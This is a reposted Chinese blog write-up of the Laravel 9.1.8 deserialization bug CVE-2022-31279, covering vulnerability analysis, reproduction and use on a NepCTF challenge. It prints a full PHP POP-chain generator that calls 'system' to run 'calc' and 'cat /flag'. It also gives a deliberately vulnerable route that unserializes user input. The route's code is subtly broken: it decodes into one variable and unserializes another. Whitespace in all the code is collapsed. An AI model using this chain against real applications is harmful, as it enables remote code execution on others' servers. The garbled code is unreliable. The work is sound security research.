0


Laravel 9.1.8 反序列化漏洞分析及复现

反序列化漏洞是如今很常见的漏洞类型,有很多分类,也有很多绕过方式。本文选取了一个今年比较典型的反序列化漏洞,进行了一个分析并复现。

漏洞详情

Laravel是一套简洁、优雅的PHP Web开发框架。
近日,Laravel 被披露存在多个安全漏洞,可允许通过反序列化POP链实现远程代码执行,如下:

CVE-2022-31279

:Laravel远程代码执行漏洞
Laravel 9.1.8在处理反序列化数据时,允许通过

IlluminateBroadcastingPendingBroadcast.php

中的 __destruct

FakerGenerator.php

中的 __call中的反序列化POP链实现远程代码执行。

漏洞分析

根据漏洞信息的描述, 跟进

src/Illuminate/Broadcasting/PendingBroadcast.php

中的

__destruct

方法, 可以看到这里的

$this->events

$this->event

均为可控的, 寻找可用的

dispatch

方法:
1
2
跟进

src/Illuminate/Bus/Dispatcher.php

中的

dispatch

方法, 这里的

$command

$this->queueResolver

均是可控的:
3
跟进

dispatchToQueue

方法,

$command

$this->queueResolver

均是可控的, 可以利用该方法中的

call_user_func

方法来进行命令执行的利用:
4
接下来就是命令执行的语句, 注意到上图中的代码

$connection = $command->connection ?? null;

, 这里可以通过

src/Illuminate/Broadcasting/BroadcastEvent.php

中的类中变量来控制

$connection

, 从而达到命令执行的目的。

POP Chain

<?phpnamespaceIlluminate\Contracts\Queue{interfaceShouldQueue{}}namespaceIlluminate\Bus{classDispatcher{protected$container;protected$pipeline;protected$pipes=[];protected$handlers=[];protected$queueResolver;function__construct(){$this->queueResolver="system";}}}namespaceIlluminate\Broadcasting{useIlluminate\Contracts\Queue\ShouldQueue;classBroadcastEventimplementsShouldQueue{function__construct(){}}classPendingBroadcast{protected$events;protected$event;function__construct(){$this->event=newBroadcastEvent();$this->event->connection="calc";$this->events=new\Illuminate\Bus\Dispatcher();}}}namespace{$pop=new\Illuminate\Broadcasting\PendingBroadcast();echobase64_encode(serialize($pop));}

漏洞复现

我们从laravel官网下载了

Laravel 9.1.8

的源码之后,添加一个入口,修改

routes\web.php

如下:

<?phpuseIlluminate\Support\Facades\Route;/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/Route::get('/',function(\Illuminate\Http\Request$request){$vuln=base64_decode($request->input("vuln"));unserialize($ser);return"H3rmesk1t";});

添加了入口之后,通过上面的分析和得到的POP链,即可进行复现:
5

相同漏洞的复现

本次复现,源码来源于cj师傅之前出题所用的源码和2022NepCTF的题目:

下载源码后,是Laravel框架:
6
7

hello路由

是一个反序列化点
可以用POP链:

<?phpnamespaceIlluminate\Contracts\Queue{interfaceShouldQueue{}}namespaceIlluminate\Bus{classDispatcher{protected$container;protected$pipeline;protected$pipes=[];protected$handlers=[];protected$queueResolver;function__construct(){$this->queueResolver="system";}}}namespaceIlluminate\Broadcasting{useIlluminate\Contracts\Queue\ShouldQueue;classBroadcastEventimplementsShouldQueue{function__construct(){}}classPendingBroadcast{protected$events;protected$event;function__construct(){$this->event=newBroadcastEvent();$this->event->connection="cat /flag";$this->events=new\Illuminate\Bus\Dispatcher();}}}namespace{$pop=new\Illuminate\Broadcasting\PendingBroadcast();echobase64_encode(serialize($pop));}

可以得到结果:

8
9
因此复现成功!


本文转载自: https://blog.csdn.net/qq_54502707/article/details/128269292
版权归原作者 Koko~ 所有, 如有侵权,请联系我们删除。

“Laravel 9.1.8 反序列化漏洞分析及复现”的评论:

还没有评论